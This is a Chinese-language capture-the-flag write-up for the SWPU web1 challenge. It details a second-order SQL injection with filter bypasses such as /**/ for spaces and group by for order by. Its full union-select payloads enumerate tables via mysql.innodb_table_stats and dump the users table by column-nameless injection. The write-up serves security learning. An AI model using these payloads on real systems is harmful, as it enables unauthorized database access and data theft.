SWPU web1 ~~不会编程的崽

 sql注入花样多,做完这个又学废了。直接看界面SWPU web1 ~~不会编程的崽_第1张图片

这个界面太熟悉不过了。但爆破,dirsearch,与密码覆盖都没成功。只能注册账户了。

注册后,发现有广告申请,随便写点什么看看结果。

SWPU web1 ~~不会编程的崽_第2张图片 

id=1,尝试盲注,也没成功。所以猜想注入点应该在申请广告的标题这。

查询语句 select * from 表 where name=广告名。结论:这里可以二次注入

测试过滤,有空格,"order","information","#","--+","-- q"被过滤了

1.绕过order&空格&注释符

1'/**/group/**/by/**/22,/**/'

空格用"/**/"代替

group代替order

引号代替注释符形成闭合

最后在23报错,现在构造select语句 。

2.select爆注入点

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

SWPU web1 ~~不会编程的崽_第3张图片

 

3.查询库名

-1'/**/union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

SWPU web1 ~~不会编程的崽_第4张图片

4.绕过information,这里information_schema肯定用不了了。

   InnoDb引擎
   从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加       了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信     息,但是没有存储列名。
   sys数据库
   在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和             performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来     获取表名。

使用mysql.innodb_table_stats代替

-1' /**/union /**/all /**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 /**//**/from /**//**/mysql.innodb_table_stats/**/where /**/database_name='web1'/**/'

但是mysql.innodb_table_stats只查到表名,所以不知道列名;

所以后边就有了无列名注入

SWPU web1 ~~不会编程的崽_第5张图片

ok,拿到表名就可以开始无列名注入了

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

语句是这个

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

先简化一下 ,去掉/**/

-1'union  select  1,(select  group_concat(b)  from  (select  1,2,3  as  b  union  select  *  from  users)k),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

union select会将前后的select语句的查询结果整合在一起,形成一张表。

select  1  as  a,2,3  as  b  union  select  *  from  users的含义是把users表的查询结果整合在1,2,3一起。并将3这一列命名为b。

select group_concat(b) 这一句就可以把整合好的b这一列赛选出来。

详细的无列名注入可参考其他文章

SWPU web1 ~~不会编程的崽_第6张图片

SWPU web1 ~~不会编程的崽_第7张图片

本来怀着高兴的心情做做母校的题,只能说又学废一点点。 

 

 

 

 

你可能感兴趣的:(数据库,sql,mysql,web安全,网络安全,安全)